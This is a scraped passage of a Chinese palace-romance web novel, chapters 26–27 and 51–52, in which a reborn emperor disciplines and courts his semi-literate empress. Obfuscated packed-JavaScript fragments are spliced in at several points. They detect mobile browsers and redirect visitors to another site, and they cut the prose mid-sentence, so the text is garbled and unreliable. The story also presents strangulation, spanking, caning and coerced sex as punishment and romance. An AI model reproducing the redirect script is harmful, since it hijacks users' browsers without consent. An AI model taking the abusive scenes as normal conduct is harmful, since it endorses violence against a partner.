0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14220717|148096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌心狠狠落在她腰下三寸。 巴掌声响起的瞬间,郁稚难以置信,他真的打她?他堂堂君王、竟然、竟然、这是多羞辱人的方式啊!连瞿氏都不曾这样打过她! “郁稚,你真是顽劣难教!”皇帝的怒气没有发泄之地,真使了力气打她,直至掌心发了红。 正当此时宫人进来,“禀告陛下,偏厅的晚膳已经上齐了、”宫人一瞧御书房的场景,皇后正被皇帝按在腿上打,吓得她立即退下,重新合上了殿门。 郁稚气恼极了,挣扎着跳开,“宫人都瞧见了,往后臣妾在宫里还有什么颜面!”天塌了,所有宫人都会知道她被皇帝打了,还是这样打的! “凭你还想要颜面?”萧歧起身逼近,“那可要朕告诉她们为何要罚你?堂堂皇后竟然连百家姓都不会写!” 萧歧:“你若不肯学,现在就把皇后金印交出来,自己滚去浣衣局,一辈子都不要再出现在朕面前!” “去浣衣局洗衣服也比在这学写字好!”郁稚感觉颜面尽失,往后在宫女面前抬不起头来了,口不择言冲着皇帝叫嚷,“你为何要回皇城?我一点儿也不想你回来,哪怕我被瞿氏折磨死,我也不想你回来!” 好,很好,她还真是有出息!这一瞬,萧歧想扼死她的心都有了! 男人步步逼近,郁稚闪躲不及时,皇帝就死死扼住了少女纤细鹤颈,“其实朕早就该杀了你。” 萧歧怒到极致反而冷静了,看着她的脸色一点点苍白,男人没有一丝心软。 郁稚吓到忘记求饶,张了张口发不出任何声音,唯有红润眼眸不住地落泪。 濒死之际,郁稚头脑发昏,身子绵软,隐约听见皇帝道,“可是就这么死太便宜你了。” 他反手将她按在御案上,扯下了腰间玉带。 郁稚瞬间就醒神了。 26.第 26 章 “别动,也别再说一些惹朕生气的话。” 他将下颌轻轻靠在她瘦弱肩胛,郁稚坐在他怀里不敢言语更不敢动。少女耳侧是男人温热气息,他的掌心覆在她心口的位置,她不敢再动,规规矩矩坐着,感受着她的温软与乖顺,感受着她泪水滴落在他手臂,男人心中肆意横流的怒火才稍稍平息。 身后之人似虎狼,张口露出森白牙齿,齿尖轻轻摩挲在她后颈,还有覆在她心口的掌心,还有、这三道枷锁完全禁锢了她。 “把笔拿起来。” 听见他的命令,郁稚慌忙去寻笔,皇帝右手也随之包裹住她的手心,“让朕看看还错了什么字。” 朱红笔尖很快就圈出了一个错字,于是他罚她。 “唔、”郁稚下一瞬就伏到了御案之上,这濒死的感觉叫她要崩溃。寒冬时节,御书房里兽金炭燃得正旺,郁稚额间微微冒汗。 皇帝握着她的手将错字重新写了一遍,“记住了么?自己写一遍给朕看。” 牢牢禁锢,她无处可逃,足尖都点不到地,只能再写一遍。 “还是错的。”萧歧发现她真是顽劣难教。上一世被她害死,这一世估计要被她气死。 “陛下能不能放臣妾坐到边上,陛下这样、臣妾没有办法专心。”郁稚哀求道。 这话引得男人轻笑,长臂圈紧她,狠狠惩罚。 郁稚瞬间就哭了,她宁愿皇帝打她,这简直要命! “现在呢?能专心了?”他的语气冰冷而轻佻,看着少女哭红的眼眸,一丝一毫都没有心软,“再写一遍给朕看。” 郁稚又气又恼,他没想教她写字,他根本就是、就是想发泄自己私念! 寄人篱下实在无从还击,只能握住笔杆再写一遍。 “不是写对了么?看来要这样教才能教会?”萧歧望着少女满是怨恨的眼眸,轻佻地问。 郁稚摇头,小声呢喃,“不要这样教...” 皇帝握着她的手继续看,郁稚祈祷着自己能少错几个字,可屋漏偏逢连夜雨,她一连写错了五个字。 啪嗒-- 青玉管笔在男人掌心断成了两节,郁稚吓得要死,她心虚了,自己确实不该错这么多字,毕竟这几日皇帝一直在教她。 她手忙脚乱地要逃,然后就被无情按回了原处! *** 直至深夜,郁稚将百家姓所有字重新写了一遍,这一遍一字未错。她哭得双眸通红,她也不敢再错一字,萧歧他、他太过分了。 皇帝折起纸页,这事终于翻篇了,“明日开始学三字经,好好改改你的心性。” 郁稚觉得自己心性挺好的,明明是皇帝要改。她方才吃了大亏,这会儿抿着唇一言不发。 不过片刻,皇帝命人传膳,萧歧亲手端起她最爱的甜羹喂她。 郁稚饿极了,就着皇帝的手一饮而尽。萧歧又端起饭碗,满意地看着她,少女像是边疆那群没了母狼护着、嗷嗷待哺的幼狼。 郁稚从椅榻上跪坐起来,双手甚至攀上了男人手臂,直至他将一口饭菜送入她口中,张口又要第二口饭。 萧歧很享受成为她的饲主。 “皇后这几日丰腴了些。”脸圆润了,抱着也更舒服了。 皇帝的语气软和了,回到未央宫后,皇帝侍候她沐浴,亲手替她擦拭头发。 郁稚原本不打算跟皇帝说话,他今夜实在太过分了,可是他替她擦拭头发的动作真的很温柔,于是她又钻到他怀里,紧紧抱着他,将脸埋入他的胸膛,“你好凶。” 皇帝喜欢掌控她的感觉,也享受着她对自己的依赖。 “朕对你凶,也是为你好。” 瞿氏死了,她孤身一人惶恐不安,她将对瞿氏的依恋转移到了他身上,若他弃了她,这一世的郁稚便会坠落深渊,可这远远难以平息他的怒火,来日方长,上一世她身边簇拥着那么多助纣为虐之人,他们会陆陆续续登场,而他则会一个一个地收拾! 皇帝抱了她一会儿就松手了,下了椅榻要离开未央宫。 “陛下今夜不留宿未央宫么?”郁稚问道。 萧歧浅笑,“朕去李宜嫔宫中。” 啊?郁稚愣了愣,自从皇帝回皇城,只召过欢嫔她们歌舞助兴,其他时候与她在一处。 萧歧欣赏着少女失魂落魄的模样,上一世的郁后太志得意满,他从未见过她这般,“怎么?朕不可以去么?你身为皇后没有这点儿肚量?” “不是、臣妾、”郁稚张口辩解,“臣妾有这个肚量的。” 真是新奇有趣的反应。 “李宜嫔替皇后处理宫务,朕该去寝宫看看她。”萧歧道,“所以皇后得更勤勉好学一些,往后自己处理宫务,就不必劳烦其他妃嫔了。” 他丢下这话之后走得干脆。 郁稚又愣了愣,瞬间暗自欢喜,皇帝总算不逮住她一个人欺负啦!! *** 紫宸宫内不太平,欢嫔与愉嫔居主殿,宜嫔居偏殿。 愉嫔:“哼,跟谁不识字似的,她凭什么往陛下跟前凑,还说要替陛下分忧。处理完宫务还非得送回御书房让陛下过目,这哪里是分忧,这明着想露脸。就是个不安分的,宫里有规矩,不得召见不能去御前打扰,瞧瞧她做的事,若是叫臣子们知道紫宸宫的嫔妃不安分,把我们也连累了!真是不要脸!” 欢嫔:“姐姐别恼,你瞧她做这出戏,陛下理她了么?就是自甘下贱!” 欢嫔愉嫔的屋子里燃着炭,敞着门,骂声全传入了李檀的屋子。 宫女小喜抱怨道,“主子,她们将晚膳与炭火都扣下了,我们何不去皇后面前告状?叫皇后过来瞧瞧欢嫔她们的恶行!” 李檀在屋子里写字,手冻得通红,“这种小事不要惊扰皇后。” 岂料欢嫔她们不解气,揣着暖手炉过来了,“你这么会邀宠,怎么陛下还不召你去寝宫哪?啊?” 欢嫔:“陛下哪瞧得上她啊,皇后虽然无用,但人家至少长了一副狐媚皮囊,瞧瞧她。” 天冷墨凝住了,宜嫔拿过墨条准备再磨,岂料欢嫔一抬手就将砚台打翻了去。 皇帝一行人刚行到门口,砚台就飞了出来,落在萧歧足边。 “参见陛下。”李檀跪在地上。 欢嫔与愉嫔还以为她胡说,一转头瞧见竟真是皇帝,一身墨色狐氅,神情肃穆。 愉嫔立即变脸行礼,“陛下怎么会来?可是想听臣妾的琴了?” 萧歧冷眼瞧着那一方砚台也知道发生何事,“欢嫔、愉嫔,罚抄宫规十遍。” 欢嫔:“陛下,臣妾只是失手打翻砚台,陛下若不信、” 不等她说完已经被宫人给请了出去! 皇帝瞧着规矩跪在地上的宜嫔,上一世那封信足以可见她的忠心,萧歧亲手扶她起来。 “陛下.....”李檀赌赢了,皇帝果然有前世的记忆。 “朕看过你处理得宫务,你的字写得很好。”萧歧落座椅榻,视线又被桌案上的字吸引,错不了。 李檀不慌不忙替皇帝斟茶,“陛下谬赞了,臣妾祖父是前礼部侍郎李永儒,祖父的字曾在小有名气,臣妾跟着祖父学习,不过学到皮毛罢了。” 萧歧:“朕记得李侍郎,一手好字闻名天下。” 李檀:“是,可惜家中书房曾走过水,祖父墨宝尽数烧了个干净,他亡故之后有不少人登门求字帖,都是失望而归,家中小辈也只有嫔妾的字还算能看,故而每年家中的春联都是臣妾来写。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14228905|148096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李檀心道自己已经说得很明白了,皇帝若是重生而来,那他肯定会主动捅破窗户纸。 萧歧笑笑:“宜嫔出身书香世家,若在后宫侍候朕郁皇后,未免埋没了,如今宫中缺女官,若你愿意、” “臣妾不愿意当女官!”李檀惊呼道,“臣妾仰慕陛下已久,只愿留在宫中侍候陛下!” 难道皇帝并非重生?若他是重生而来,那么他知道她才是上一世最忠贞之人,他早该杀了妖后,扶她当上皇后! 所以,皇帝绝非重生!但是不要紧,她会一步步将皇后之位从妖后手里夺来! 皇帝:“你想要何赏赐?” 上一世负他之人太多了,唯有眼前的女子对他忠诚,权势富贵,萧歧都可以给她。 李檀仰头望着皇帝,丝毫不掩饰自己的野心,“求陛下封臣妾为贵妃,赐臣妾皇后金印,皇后体弱,臣妾愿意替陛下分忧!” *** 一夜之后,宜嫔被封贵妃之事传遍后宫。 郁稚晨起也听闻了,芍药正替她梳头,皇帝的贴身侍从来取走了皇后金印。 芍药:“如今宫里都在传呢,说是宜贵妃忽得了圣宠,如今陛下命人取走金印,难道是给宜贵妃么?” 郁稚仔细想想:“贵妃替我分担宫务,取走金印也是图个方便。” 皇帝那么凶,郁稚庆幸能有个宜贵妃,自己就不必被皇帝管着读书识字啦!!然而早膳过后,郁稚还是被迫抱着书去了御书房,皇帝今日要教三字经,郁稚一点儿也不想学。 宜贵妃一早就在御书房了,她罗列了宫中陈年累计得事务,正一一向皇帝禀告,两人很是亲近。 郁稚进门,皇帝不过是轻睨她一眼。 李檀得意,如今她掌了皇后金印,依着妖后的性子,必定是来皇帝跟前闹的。 将要处理的事一一汇报完之后,李檀道:“皇后体弱,久不理宫务,事情沉积,少不了要三四个月才能处理完,请陛下放心,臣妾一定亲力亲为。” 皇帝心中恼火,这样的皇后与尸位素餐的臣子有什么区别? “贵妃辛苦,往后掌着皇后金印,许多事情不必请示朕与皇后,你自己看着去办。” “臣妾遵命!” 待宜贵妃告退之后,萧歧看向椅榻上他那不成器的皇后,“还有脸坐着?过来!” 郁稚只知道自己无缘无故又挨了骂,她走到皇帝跟前。 “朕问你,这两年你在宫里,究竟干了些什么?” 郁稚:“臣妾这两年在被瞿氏蛊惑......” 萧歧越看她越不顺眼,“还不把书翻开来。”真是太顽劣难教了。 郁稚:“陛下,皇后金印是不是永远都不会回到臣妾手中了?”最好是贵妃永远掌着金印。 “朕封她为贵妃,给她皇后金印,你吃醋了?” 郁稚刚要摇头,吃醋是不可能的。但想想之前教坊的柔娘教过她说男人喜欢女人为了他们争风吃醋。 “陛下很喜欢贵妃么?”郁稚忽然问。少女倔强的眸光,神情沮丧,显然很在意李檀封妃之事,她揪住皇帝的袖子,“那陛下更喜欢臣妾还是更喜欢贵妃?” 这样的话,上一世的郁后绝对不会说出口。 “陛下快说。”郁稚甚至晃了晃手臂撒娇。 “你若好好读书识字,朕就更喜欢你一些。”萧歧无奈答她。 少女眼神忽得明亮起来:“臣妾一定会用功读书的!”她坐到御上翻开书册,又铺陈好纸和笔。 男人瞧了她片刻,“往后不许再问这样的问题,朕不喜欢后宫妃嫔争风吃醋,你是皇后,更不可以。” 啊?郁稚瞧着皇帝眨眨眼,他还真相信她为此吃醋?原来暴君这么好忽悠啊! 27.第 27 章 不知是不是真的怕失宠,怕失了后位,今日学下来,郁稚竟将三字经全背了出来,要知道教百家姓可是教了好几日,最后他发了怒,妖后才哭哭啼啼学完。 看来严师出高徒,得再严厉几分。 郁稚:“陛下,臣妾全学会了,可以用晚膳吧。”她有些得意,自己真跟开窍了似的。 萧歧神情严肃,他没有夸赞她,“你看看你的字,写得连端正都算不上,这叫全学会了?夜里你自己回未央宫继续练。” “那陛下今夜呢?”郁稚故意露出失望的眼神,今夜又可以独自入眠啦? 萧歧:“朕去贵妃宫中。” “臣妾知道了。” 萧歧瞧着她落寞的神情,“往后还要学论语孟子,四书五经全学好了,朕再考虑将金印交还给你。” 那她肯定不能学好,郁稚表现得很伤心,愣愣地行了个礼,“臣妾告退......” 皇帝瞧着她纤柔可怜的背影,这一世她也尝到被冷落的滋味了?但他今夜确实要去贵妃寝宫,这几日的相处,萧歧已经肯定李檀带着前世的记忆,并且她对他也有怀疑,几次试探他,萧歧并不想叫李檀知道他同样是重生而来,即使上一世她冒死送出了告密信。 夜里郁稚带了一碟子奶酥去了藏书阁见贺七,“这碟糕点是皇后娘娘赏赐我的,我自己舍不得吃,带给你吃。” 少女睁着水汪汪大眼睛,捧着糕点递到贺七面前。 长夜漫漫,贺七独自守着藏书阁,她每次一来他才有人说话,贺七抬手取了一块糕点,“三字经学得如何了?” 郁稚:“多亏你教我,我都能背了,就是皇后说我字还写得不好。诶?这些是什么?”她瞧见墙角堆着一些书册。 贺七:“这些是话本子,禁书,收缴来后藏在仓库里,宫外的贵女们偶尔托了小太监来借书,这几本是今日刚还回来的。” 郁稚好奇翻开书册,瞬间就被话本子里的图给吸引了,这图中画的不是仙女么? 上面的字大部分她都不懂,但画能看懂,“有意思......”她一直以为天下的书都很枯燥无味的。 “别看了,你先练字吧,我看你哪里写得不好?”贺七有意要教她。 郁稚:“我不想练......” 贺七:“你练完字,再给你看话本子好不好?否则皇后明日又要训斥你。” 郁稚:“......行吧。” 于是这一夜,郁稚回未央宫的时怀里揣了几本话本子,贺七说这是禁书,若叫皇后瞧见了,她小命不保。郁稚才不怕,因为她就是皇后呀~ 一连数日,郁稚白日去御书房学字,皇帝夜夜去贵妃寝宫,于是郁稚也没闲着夜里就去藏书阁找贺七教她,相比皇帝的坏脾气,贺七可太温柔了,她每日都能认识好多新字,字也一日比一日写得更好了。 当然她之所以这么努力认字是为了看话本子!!话本子太好看啦!!她为了看话本子甚至可以通宵达旦不眠不休! 她觉得没有瞿氏没有皇帝的夜晚真的很快活! 今日黄昏,御书房里,皇帝教了她孟子第一章,郁稚都学会了,“臣妾回未央宫一定温习功课,臣妾告退。” 皇帝叫住她:“不急,你今夜随朕住太极殿。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14240094|148096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>啊?郁稚愣了愣,可她着急回未央宫看昨夜没看完的话本子!她今夜连藏书阁都不打算去,就为了看那本话本子! 她已经许多日都没侍寝了,算了,与暴君速战速决。 萧歧正襟危坐在御案前,预备抽出时间翻一番奏疏,猝不及防地,少女就凑上来吻她。 “陛下今日终于不去贵妃宫里啦?”少女明媚可爱,一双眼眸蕴含着一丝怨气。 萧歧:“今日贵妃生辰,朕自然是要去的。” 那正好,速战速决然后他去贵妃宫里,她回她的未央宫看话本子! 郁稚主动吻他,一双手腕去解他玉带。此时天还未暗,皇帝感受着她的热情,冷落了几日果然有益处,竟知道争宠了。 皇帝将人抱起往内室走去,“皇后想朕了?”褐色褥子衬得少女肌肤雪白,唇瓣嫣红,妖后到底是妖后,满宫妃嫔就属她最迷人。 “唔、”郁稚心虚了一瞬,她这几日忙着看话本子,碰上不懂的字就去学,忙得团团转,哪有功夫想他?!暴君他自作多情! 皇帝印上她的唇瓣,少女这心虚的眼神也没被他瞧见。 他吻得温柔而绵长,暴君似乎并不心急,可以预见这是一场如春雨般彻夜不停的欢、爱。 那她的话本子怎么办?!暴君哪里会比话本子有意思? 少女鼓起勇气推开男人,再度翻身反客为主坐到他怀里。 男人失笑,任由少女莽撞亲吻,软绵小手胡乱来解他的衣袍,他眼底没有一丝一毫的苛责,甚至是享受她的主动,掌心抚上她软绵腰肢,果然还是需要冷落她几日,她才会知道讨好他。 50-60 第51章 第 51 章 哼!不解风情的男人!…… 这个那个唔 郁稚尴尬地直挠头, 帝后夫妻二人同时看向枕下那本香艳话本子。 皇帝误会她私藏刀具要弑君,郁稚完全没有恼,因为他完全有理由怀疑她。 郁稚悻悻然冲着皇帝笑,“臣妾从此以后再也不看话本子了, 臣妾发誓!”伸手将自己的枕头从皇帝手里取回来重新盖上。 郁稚:“哎呀, 好晚了, 陛下明日还有朝会, 快些歇息吧。” 没在她枕下找到匕首,萧歧的脸色依旧凛冽没有好转, 下榻熄了烛火, 寝宫里陷入一片灰暗,两人同榻而眠,各怀鬼胎。 郁稚心道,明日自己得早起,准备皇帝喜爱的早膳,还要伺候他穿衣, 上一世他常年征战在外,夫妻二人鲜少有这样的时日, 一道用膳、一道入眠。 “陛下热不热?臣妾替你扇风好不好?”郁稚轻摇扇子, 内室置着冰, 凉意阵阵。 萧歧醉酒, 他已经不愿去想其他。她自以为伪装得很好,可惜经历上一世的事,她在他心里始终都是个卑劣的女人! 郁稚逐渐困倦,入眠前听枕边人说了一句:“明日来御书房,读书练字。” 郁稚心道,明日什么情形还不一定呢。一但她向萧歧坦白, 他留着她一条小命都是顶好的了! 唔,明日用完早膳就坦白吧。 郁稚放下扇子,额头轻靠在男人胸膛,温热的,好安心,她真觉得自己就是只女鬼,靠在萧歧身上汲取他的阳气才能存活。 *** 翌日清晨,郁稚破天荒地早起,未央宫的宫女们面面相觑。从前皇后起榻,若皇帝伺候她穿衣也就罢了,否则她要到早膳都备好了才起来,或者皇帝上朝去了,她还赖在床上。 宫女们嘀咕:皇后是不是有求于陛下?这两日未免也太殷勤了! 皇帝已经命人撤了郁稚的药,无用的药就不用喝了。 “臣妾伺候陛下穿衣。”郁稚精神头特别好,笑意盈盈的。 皇帝在脑海中搜罗,不论哪一世的郁稚都不曾有过这副面孔。 萧歧在外征战惯了,像穿衣这等小事从不需要宫人伺候。但既然皇后说要伺候,萧歧乐得享受。 他在审视她,究竟是何盘算。 但郁稚一心一意替他穿戴,仔细扣了衣襟扣子,束上腰间玉带,他是鲜活的、温暖的、没有被她害死在边疆。 屏风之后,少女双臂环在男人腰间,似无限眷恋。 “皇后是要用这招拖着朕,好叫朕上不了早朝?” 诶?!郁稚松开双臂正要狡辩说自己没有,皇帝又道,“这一招在席榻间才有用。” 郁稚:“?” “过来,朕替你更衣。”他随手从身边柜子里取了件衣裳,烟紫色的软烟罗,她穿上最是看好。 郁稚:“” 他褪她寝衣时很温柔,为她穿衣系上腰封时更温柔,又戴上玉佩,又顺了顺身后的发丝,郁稚觉得若非要上早朝,他甚至还会替她绾发。 上一世的萧歧浑然不同,他没有这般似水温柔,夫妻二人分居两地,他大多时光都在边境,偶尔写信也不过是些军事捷报,郁稚不识字,总要戚离念给她听。 细想之下,其实上一世的萧歧对她很好,他予她权势富贵,这已经是极致的宠爱了。 无论是哪一种好,郁稚如今都很珍惜。 “陛下,其实臣妾、”她凝望向他,身着龙袍的男人相比上一世,少了几分行伍之人的杀气,他目光沉静,隐隐彰显着君王气势。 “怎么?皇后要对朕说什么?”男人声音亲昵而温柔。 郁稚唇瓣微启,若是说出口,那她与皇帝再也不会有这样美妙的时光了,那还是先等一等吧。 郁稚浅浅一笑,“臣妾饿了,去用早膳可好。” 萧歧跟在她身后走出屏风,“午时过后记得来御书房读书练字,这段时日没朕看着,你学业都荒废了。” 郁稚命人备了皇帝喜爱吃的炙牛肉,萧歧一块都不夹。 郁稚心想自己上辈子实在是太可恶了,所谓一朝被蛇咬十年怕井绳,她就是皇帝眼里那条蛇吧,不打紧,她以后会对他好,很好很好! *** 李御医前来禀告说,皇后宫里的食物都无毒。 萧歧看不透郁稚,她破天荒地献殷情,究竟意欲何为?! 郁稚觉醒之后,这一世的记忆反而模糊了,来御书房读书,皇帝考她读过的《孟子》,几个问题她一个都答不上来,气得皇帝命人送来藤条。 “整日看那些话本子,你何时才能有长进?!” 萧歧真动肝火,上一世她不识字,他知道后也没觉得她愚笨,反而这一世,顶着如此漂亮的皮囊,真是个笨蛋美人! “手心摊开,十下。” 郁稚心道,他要打就打吧,就当赎她上一世的罪了,于是她摊开手心。 藤条高高扬起,重重落下,萧歧料定她要跑,于是下了死手! 御书房里传来一声凄厉的哀嚎! 少女手心通红,眼眶湿润,咬着牙连哭都哭不出来了。男人紧抿着唇,捏着藤条的指骨发白。 竟没有跑。 她又疼又麻,双手捧起,颤颤悠悠再度摊到他面前,活像是犯了错的少女,眼神无辜可怜。 萧歧:“你以为挨了打,手废了就不必写字了么?” 萧歧:“其余九下先欠着,坐下抄书,抄不好再罚。” 郁稚见皇帝扔开藤条,落在御案前。她抹了抹眼泪坐下,很疼很伤心,可是转念想想,这是她对他的赎罪,毕竟上一世自己害死了他 他批阅奏疏她抄书,御书房里静谧和谐,郁稚忽然想起上一世两人鲜少这般,她所能记起来的是后来几年,他们无休无止的争吵,这样平淡温馨的日子,反而显得弥足珍贵。 “这几个字不会写。”郁稚如实禀告。 “过来,朕教你。”皇帝已经习惯了她的不学无术,教多少遍都教不会。 她将自己的笔给他,萧歧余光意外瞥到她通红的手心。 前头他用柳条罚她,都知道要跑,这回换了藤条却还乖乖站在挨打,这脑袋似乎是越来越笨了。不知是装得还是 郁稚观察着男人的小臂,他袖口卷到手肘,露出精壮前臂,从前握兵器的手,此时包拢她的手,小臂皮肤偶尔触到她的,滚烫。 她一恍惚,皇帝已经写完了这几个字,将笔塞回她手心。 萧歧:“皇后,你自己写一遍,朕看着你写。”男人的声音就贴在她耳垂边,气息微热。 郁稚捏着笔,完全无措了。 “所以朕教你时,你没有认真听是不是?”萧歧明显恼了,“郁稚,你究竟在想什么?” “唔,臣妾在想,陛下的手很好看,你贴得这么近,气息温热,害得我心猿意马!!”少女一本正经地告诉他。 萧歧气息明显厚重了些,眼神更凛冽几分,像是要对她发火,郁稚往后缩了缩。 “这是皇后新学的技能?” “什么” “溜须拍马、” 郁稚摇头,眼神认真平静道,“不是的,这是臣妾的肺腑之言、诶?” 她话没说完就被皇帝捏着胳膊转回去,他的手掌重新覆上她的,而后在她耳边威胁道,“若再写不好,就去浣衣局洗衣服!” 郁稚:“” 萧歧:“皇后现在还心猿意马吗?” 郁稚摇头如拨浪鼓。 事实证明二十六岁的郁稚,脑子确实比十六岁的好使,她学得很快,皇帝教一遍她就统统会了,再考她《孟子》,那些题她也全答上来了,继而开始学《论语》。 下午用茶点,郁稚吃了口奶酥,不禁感叹,“御茶膳房做的奶酥还是这么难吃。” “有多难吃。”萧歧从御案前仰首。 郁稚瞬时将手里余下半块递到他唇边,可又意识到不能让皇帝吃自己剩下的,想要缩回手,手腕已经被皇帝捏着,他将余下那半块咬入口中。 “朕没觉得难吃。” “陛下在边疆待久了,自然觉得什么都好吃。”郁稚嘀咕。 萧歧:“可皇后不是说自己从小食不果腹?” 郁稚:“”她又如同锯了嘴的葫芦。再说下去就要暴露了,于是悻悻然笑道,“托陛下的福,臣妾在宫中养尊处优两年,嘴也养刁了。” 二人围坐在一道,将桌上的点心一扫而空。萧歧其实不大爱吃甜食,可瞧着她一口一口吃着,他也就抬手拿了几块。 后头宫人进来换茶盏瞧见,又从御茶膳房取了几碟子点心,“这道奶酥是御茶膳房新制的,陛下皇后如此喜欢,那奴才传话叫他们明日多做一些。” 皇帝瞬时抬眸,“奶酥是新制的?” 宫人:“是啊,这是民间小食,宫里头从前没有。” 郁稚正认真练字呢,没有留意宫人的话,只是待宫人出去了,皇帝忽得望向她。 她眼神迷茫,笑着问道,“怎么了陛下?臣妾哪个字写得不对么?” 男人眼神透着危险,“方才皇后是说御茶膳房做的奶酥一如既往难吃?” “!!!” 郁稚心都绞紧了!她、她、露出破绽了?!!就因为一道奶酥?!!她方才随口一说,她哪里知道奶酥是御茶膳房新制的点心样式!! “未央宫小厨房里做过几次奶酥,臣妾都觉得没宫外做得好。” 皇帝便没有再言语,继续伏案写字。 郁稚在心中长长地舒了口气,她不想让皇帝知道真相,就这样永远糊涂地过下去该多好,即使皇帝对她再凶再坏,她都不想离开。 她似乎能明白皇帝为什么这一世热衷侍候她用膳,因为真的很有意思。 她重新拿了一块奶酥,喂到他唇边,萧歧顿了顿,就着她的纤细的手而吃下奶酥。 唉这是两世都不曾有过的温馨时光啊。 “专心写字,别以为你这样乖巧讨好,朕就不会罚你了!” 哼!不解风情的男人! 然而到夜晚,他来未央宫,两人同榻而眠,皇帝毫无征兆地捏过她的手腕,拂开她微微卷曲的手指,郁稚困惑他要做什么? “手心还疼不疼?”他声音温柔了几分。 郁稚心头一颤。 郁稚:“”原来一整日他都在惦记这事。 萧歧:“猫儿狗儿挨打的时候都知道要躲,你却不知道!” 郁稚想起来了,其实他两世都很温柔的,上一世她再无理取闹再荒唐,他也没有废除她的皇后之位只是那个时候她太钻牛角尖了。 郁稚没有回答,反而紧紧抱住男人的腰身,仰起头目光晶莹,“陛下,我们来做快乐的事吧?” “什么事?”萧歧蹙眉,知道她刻意的讨好背后肯定有古怪。 “就是”郁稚凑上去霸道地亲了一口,“让我们两人都快乐的事!” 皇帝眼神依旧凛冽而疑惑,郁稚不管了,她都是活了两世的人了,当然要及时行乐!! 她在他探究的目光之下,堂而皇之地去解他的寝衣,如莽撞而饥渴的幼兽。 男人神情再冰冷,此时面颊也飞上些许红晕,不知是由于恼怒还是其他什么。 这就是她所说的快乐的事?她怎么变得如此大胆? 或许她真的吃那药吃坏了脑子因为不论是十六岁还是二十六岁的郁稚,都不是这模样的。 暂时不管了,及时行乐要紧! 第52章 第 52 章 他居然这么纯情? 少女唇瓣温软。 “皇后, 朕问你,朕欺哄你亲手杀了瞿氏,难道你不仇恨么?” 男人腰腹紧实,肌理因气息轻轻起伏, 盛夏夜间, 哪怕内室置着硕大冰块, 也难免炎热。 她俨然如欺人的恶霸土匪, 发丝披散雪白肩胛,掌心贴着肌肤抚过他心口, 上一世她眼瞎了, 如此销魂之人,怎么不知珍惜他,简直暴殄天物! “不仇恨,瞿氏阴险恶毒,死得其所” “真的?” 少女居高临下地望着男人,她嗜好掌控, 这一世掌控不了朝堂,那她想手心握住了男人咽喉 “真的。”郁稚气息跌宕, “若因为这个刁奴之死, 叫我们夫妻生了嫌隙, 那才荒谬。” 萧歧轻笑, 好可惜,若是上一世她能这么想该多好,可惜事到如今,她说得再诚恳,他都不会相信。 骨节分明的手缠绕在她背后发丝,权力巅峰能叫他们感受愉悦, 除此之外只有这样 朦胧幔帐,轻柔地靠近。两世了,似乎只有这一回他们两人都是清醒的心甘情愿的。 她轻轻啄吻他心口,感受他稳健的心跳,温暖的身躯,她无限眷恋 她捏着他的喉,时重时轻,他的命就在她一念之间。萧歧闭起眼眸感受着这样的力道,完全新奇的体检,如上一世郁后的心性,那样张扬那样执拗。 看似她主导,实则他一双手掌完全禁锢少女腰肢。 犹如上一世两人的角逐争斗、时而靠近时而互伤,伤得对方体无完肤,直至最后身死魂灭!! 子时过后,萧歧不再纵容她,完全禁锢掌控。 若换做从前她早就哭了,这一回她没有,眼神直勾勾地望向他丝毫不逃避,反而主动攀附他肩背,在他耳边说着情话。 “萧歧。” 这轻柔的一声,男人脊柱发麻,恍若回到上一世,郁后就这么坐在幕帘之后唤他的名字。 郁稚?是你么?你回来了?!! 郁稚:“陛下别急,你要怎样都可以” 郁稚:“我是你的” 不,郁后不会这么温柔!她只会恶毒地诅咒他死在边疆!她没有记起来!他也不许她起来!! 若有朝一日她在他面前坦白说记起前世,他必定会给她灌入浓郁药汁,叫她彻底发癔症!哪怕变成疯子,变成傻子,她也不许回来!! *** “皇后很喜欢烟紫色么?”翌日清晨郁稚穿戴完毕,皇帝忽得问她。 眼神若有所思地落在她身上,郁稚近日又着了紫色宫裙。少女神色微滞,而后立莞尔一笑,“臣妾以为陛下喜欢这颜色。” “你在讨好朕?” 少女点点头,她在赎罪,赎罪就是对他好,最好有个刺客突然蹿出来,她就这么顺势一挡,把命还给他,那就是真正赎罪了。 “朕不喜欢你穿紫色。”上一世两人几次歇斯底里地争吵,她都穿着紫色。 “臣妾马上去换!陛下喜欢臣妾穿什么颜色?” 萧歧真去衣柜前挑选,为她挑了一身藕粉色裙裳,夏日清凉最合适不过。 “臣妾不喜欢看陛下穿龙袍穿铠甲,臣妾喜欢看陛下穿素纱衣袍,显得格外俊美,陛下衣柜里也有一身藕粉色,一会下了早朝,你换上那一身好么?” 必定很养眼!郁稚下定决心要好好给皇帝穿戴! 皇帝眉角微扬,也不是不可以 “朕穿什么衣裳,需要你来管束么?”他语气一转严肃训斥道,“身为皇后,竟敢看不上朕的龙袍铠甲?” 上一世那些个文臣来未央宫见她,都着素袍?! “皇后喜欢看男子着素袍?” 